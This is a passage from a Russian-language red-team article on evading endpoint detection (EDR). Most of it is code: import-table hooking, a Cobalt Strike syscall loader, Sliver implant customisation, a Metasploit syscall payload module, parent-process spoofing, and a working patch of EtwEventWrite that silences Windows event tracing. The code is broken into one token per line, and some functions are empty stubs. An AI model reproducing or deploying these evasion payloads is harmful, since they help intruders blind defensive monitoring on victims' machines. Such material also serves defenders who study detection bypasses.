"ntdll.dll"
)
;
PBYTE base
=
(
PBYTE
)
hNtdll
;
PIMAGE_NT_HEADERS ntHeaders
=
(
PIMAGE_NT_HEADERS
)
(
base
+
(
(
PIMAGE_DOS_HEADER
)
base
)
->
e_lfanew
)
;
DWORD textSize
=
ntHeaders
->
OptionalHeader
.
SizeOfCode
;
PBYTE textStart
=
base
+
ntHeaders
->
OptionalHeader
.
BaseOfCode
;
for
(
DWORD i
=
0
;
i
e_lfanew
)
;
PIMAGE_IMPORT_DESCRIPTOR importDesc
=
(
PIMAGE_IMPORT_DESCRIPTOR
)
(
(
PBYTE
)
module
+
ntHeaders
->
OptionalHeader
.
DataDirectory
[
IMAGE_DIRECTORY_ENTRY_IMPORT
]
.
VirtualAddress
)
;
for
(
;
importDesc
->
Name
;
importDesc
++
)
{
if
(
_stricmp
(
(
char
*
)
module
+
importDesc
->
Name
,
"KERNEL32.dll"
)
==
0
)
{
PIMAGE_THUNK_DATA thunk
=
(
PIMAGE_THUNK_DATA
)
(
(
PBYTE
)
module
+
importDesc
->
FirstThunk
)
;
for
(
;
thunk
->
u1
.
Function
;
thunk
++
)
{
if
(
(
ULONG_PTR
)
thunk
->
u1
.
Function
==
(
ULONG_PTR
)
GetProcAddress
(
GetModuleHandleA
(
"kernel32.dll"
)
,
"VirtualAlloc"
)
)
{
// Заменяем адрес на нашу функцию
DWORD oldProtect
;
VirtualProtect
(
&
thunk
->
u1
.
Function
,
sizeof
(
ULONG_PTR
)
,
PAGE_READWRITE
,
&
oldProtect
)
;
thunk
->
u1
.
Function
=
(
ULONG_PTR
)
MyVirtualAlloc
;
VirtualProtect
(
&
thunk
->
u1
.
Function
,
sizeof
(
ULONG_PTR
)
,
oldProtect
,
&
oldProtect
)
;
}
}
}
}
}
#endif
[*]Пересоберите артефакты.[/LIST]
Б. Aggressor Script для динамической подгрузки:
C:
Код:
// syscall_loader.cna
sub syscall_load
{
local
(
'$handle $data $offset $length'
)
;
# Читаем RAW бинарный файл с прямыми syscall
$handle
=
openf
(
script_resource
(
"syscall.bin"
)
)
;
$data
=
readb
(
$handle
,
-
1
)
;
closef
(
$handle
)
;
# Загружаем в Beacon
$offset
=
0
;
$length
=
strlen
(
$data
)
;
while
(
$offset
generate implant --os windows --arch amd64 --format shellcode --syscalls
Кастомизация импланта:- Исходный код Sliver открыт. Можно модифицировать implant/sliver/syscalls/syscall_windows.go.
- Добавить свои методы обфускации на Go :
Код:
Код:
// В syscall_windows.go
type SyscallWrapper struct {
SSN uint16
GadgetAddr uintptr
Obfuscated bool
}
func (s *SyscallWrapper) Call(args ...uintptr) uintptr {
if s.Obfuscated {
return s.CallObfuscated(args...)
}
return s.CallDirect(args...)
}
func (s *SyscallWrapper) CallObfuscated(args ...uintptr) uintptr {
// Реализация обфусцированного вызова
// 1. Перемешивание регистров
// 2. Добавление мусорных инструкций
// 3. Использование jump gadgets
return 0
}
8.3. Metasploit: Пользовательские расширения
Для Metasploit можно написать кастомный пейлод на Ruby:
Ruby:
Код:
# modules/payloads/windows/x64/syscall_meterpreter.rb
module
MetasploitModule
include
Msf
:
:
Payload
:
:
Windows
:
:
SyscallMeterpreter
def
initialize
(
info
=
{
}
)
super
(
update_info
(
info
,
'Name'
=
>
'Windows x64 Syscall Meterpreter'
,
'Description'
=
>
'Meterpreter payload using direct syscalls'
,
'Author'
=
>
[
'null_ptr'
]
,
'Platform'
=
>
'win'
,
'Arch'
=
>
ARCH_X64
,
'PayloadCompat'
=
>
{
'Convention'
=
>
'sockrdi'
}
)
)
end
def
generate
(
opts
=
{
}
)
# Генерация shellcode с прямыми syscall
shellcode
=
super
# Добавляем шифрование строк
encrypt_strings
(
shellcode
)
# Добавляем обфускацию
obfuscate_syscalls
(
shellcode
)
shellcode
end
end
8.4. Собственный фреймворк: почему бы и нет
Если вы серьёзно занимаетесь red team, рано или поздно приходите к созданию своего инструмента. Преимущества:
- Полный контроль над всеми компонентами.
- Нет публичных сигнатур.
- Возможность тонкой настройки под каждую операцию.
Структура минимального фреймворка:
Код:
Код:
/redframework
/syscalls
resolver.c # Динамический поиск SSN
gate.c # Hell's/Halo's Gate реализации
obfuscator.c # Обфускация вызовов
/injection
apc.c # APC инжекция
thread.c # Создание потоков
map.c # Manual map DLL
/evasion
etw.c # Отключение ETW
callback.c # Работа с kernel callbacks
ppid.c # PPID spoofing
/payloads
meterpreter.c # Адаптер для Meterpreter
cobaltstrike.c # Адаптер для Cobalt Strike
custom.c # Собственные payloads
/communication
http.c # HTTP коммуникация
dns.c # DNS туннелирование
smb.c # SMB канал
9. Дебри ядра: когда userland-сисколлов недостаточно.
9.1. Kernel Callbacks - ахиллесова пята EDR
EDR используют kernel callbacks для получения уведомлений о событиях. Основные типы:
- Process Creation (PsSetCreateProcessNotifyRoutineEx) - создание процесса.
- Thread Creation (PsSetCreateThreadNotifyRoutine) - создание потока.
- Image Load (PsSetLoadImageNotifyRoutine) - загрузка образа (DLL/EXE).
- Registry (CmRegisterCallback) - операции с реестром.
- File System (MiniFilter) - операции с файлами.
- Object Manager (ObRegisterCallbacks) - работа с объектами (процессы, потоки).
Обход через удаление callback'ов:
Теоретически можно найти и удалить callback'и EDR из соответствующих массивов в ядре. Но это:
- Требует прав администратора (а часто и отключенного DSE).
- Крайне нестабильно (может вызвать BSOD).
- Легко детектируется самим EDR (проверка целостности своих callback'ов).
Более изящный метод: подмена контекста
Вместо удаления callback'ов, можно сделать так, чтобы ваши действия выглядели легитимными:
C:
Код:
// Подмена Parent Process ID (PPID Spoofing)
BOOL
SpoofParentProcess
(
DWORD targetPid
)
{
PROCESS_BASIC_INFORMATION pbi
;
NTSTATUS status
=
NtQueryInformationProcess
(
GetCurrentProcess
(
)
,
ProcessBasicInformation
,
&
pbi
,
sizeof
(
pbi
)
,
NULL
)
;
// Меняем InheritedFromUniqueProcessId в PEB целевого процесса
HANDLE hTarget
=
OpenProcess
(
PROCESS_VM_WRITE
|
PROCESS_VM_OPERATION
,
FALSE
,
targetPid
)
;
PPEB remotePeb
;
status
=
NtQueryInformationProcess
(
hTarget
,
ProcessBasicInformation
,
&
pbi
,
sizeof
(
pbi
)
,
NULL
)
;
remotePeb
=
pbi
.
PebBaseAddress
;
// Записываем новый PPID (например, explorer.exe)
DWORD newPpid
=
GetProcessIdByName
(
"explorer.exe"
)
;
WriteProcessMemory
(
hTarget
,
&
remotePeb
->
ProcessParameters
->
ParentProcessId
,
&
newPpid
,
sizeof
(
newPpid
)
,
NULL
)
;
CloseHandle
(
hTarget
)
;
return
TRUE
;
}
9.2. ETW и ETWTI: как закрыть рот системе
Event Tracing for Windows (ETW) - основной источник информации для EDR. Особенно опасен ETW Threat Intelligence (ETWTI), который логирует syscall.
Методы нейтрализации ETW:
А. Патчинг ntdll!EtwEventWrite:
C:
Код:
BOOL
PatchETW
(
)
{
HMODULE hNtdll
=
GetModuleHandleA
(
"ntdll.dll"
)
;
if
(
!
hNtdll
)
return
FALSE
;
FARPROC pEtwEventWrite
=
GetProcAddress
(
hNtdll
,
"EtwEventWrite"
)
;
if
(
!
pEtwEventWrite
)
return
FALSE
;
DWORD oldProtect
;
if
(
!
VirtualProtect
(
pEtwEventWrite
,
1
,
PAGE_EXECUTE_READWRITE
,
&
oldProtect
)
)
{
return
FALSE
;
}
// Патчим на ret (0xC3) или ret 0 (0xC2 0x00 0x00)
#ifdef _WIN64
// Для x64: mov eax, 0; ret
BYTE patch
[
]
=
{
0xB8
,
0x00
,
0x00
,
0x00
,
0x00
,
0xC3
}
;
#else
// Для x86: xor eax, eax; ret
BYTE patch
[
]
=
{
0x33
,
0xC0
,
0xC3
}
;
#endif
memcpy
(
pEtwEventWrite
,
patch
,
sizeof
(
patch
)
)
;
VirtualProtect
(
pEtwEventWrite
,
1
,
oldProtect
,
&
oldProtect
)
;
return
TRUE
;
}
Б. Отключение ETW через Patching в памяти процесса:
Более скрытный метод - найти структуры ETW в памяти и "испортить" их.
C:
Код:
typedef
struct
_ETW_REG_ENTRY
{
LIST_ENTRY RegList
;
PVOID Unknown
[
4
]
;
PVOID Callback
;
// Функция callback
}
ETW_REG_ENTRY
,
*
PETW_REG_ENTRY
;
BOOL
DisableETWTracing
(
)
{
// 1. Находим EtwNotificationRegister в ntdll
HMODULE hNtdll
=
GetModuleHandleA
(
"ntdll.dll"
)
;
PVOID pEtwNotificationRegister
=
GetProcAddress
(
hNtdll
,
"EtwNotificationRegister"
)
;
// 2. Ищем в её коде ссылки на глобальную переменную со списком регистраций
// (Это требует реверс-инжиниринга и сильно зависит от версии Windows)
// 3. Обходим список и зануляем Callback или меняем на свою заглушку
return
TRUE
;
}
В. Использование недокументированных функций:
C:
Код:
// NtTraceControl может использоваться для управления ETW
typedef
NTSTATUS
(
NTAPI
*
pNtTraceControl
)
(
ULONG FunctionCode
,
PVOID InBuffer
,
ULONG InBufferLen
,
PVOID OutBuffer
,
ULONG OutBufferLen
,
PULONG ReturnLength
)
;
BOOL
DisableETWViaTraceControl
(
)
{
HMODULE hNtdll
=
GetModuleHandleA
(
"ntdll.dll"
)
;
pNtTraceControl NtTraceControl
=
(
pNtTraceControl
)
GetProcAddress
(
hNtdll
,
"NtTraceControl"
)
;
// FunctionCode = 0x1D (EVENT_TRACE_CONTROL_STOP) для остановки сессии
// Нужно знать SessionHandle
// Это сложно и требует реверса
return
FALSE
;
}
9.3. Минусы работы в ядре- Стабильность: Любая ошибка в ядре = BSOD (синий экран).
- Детект: PatchGuard (Kernel Patch Protection) в Windows 64-bit детектирует модификации критичных структур ядра.
- Подпись драйверов: Требуется подписанный драйвер (или отключенный DSE), что сложно в современных системах.
- Античитинг: EDR могут иметь свои драйверы, которые мониторят целостность ядра.
Рекомендация: Для большинства red team операций достаточно userland техник. К ядру стоит обращаться только в особых случаях и при наличии глубоких знаний.
Заключительные слова
Прямые системные вызовы - это не серебряная пуля, а один из многих инструментов в арсенале. Ключ к успеху - не в использовании самой сложной техники, а в правильном применении подходящей техники в нужное время.
Помните: наша цель как специалистов по безопасности - понимание систем. С этим пониманием приходит возможность и защищать, и атаковать. Выбор за вами.
Оставайтесь любопытными. Оставайтесь этичными. Оставайтесь в тени.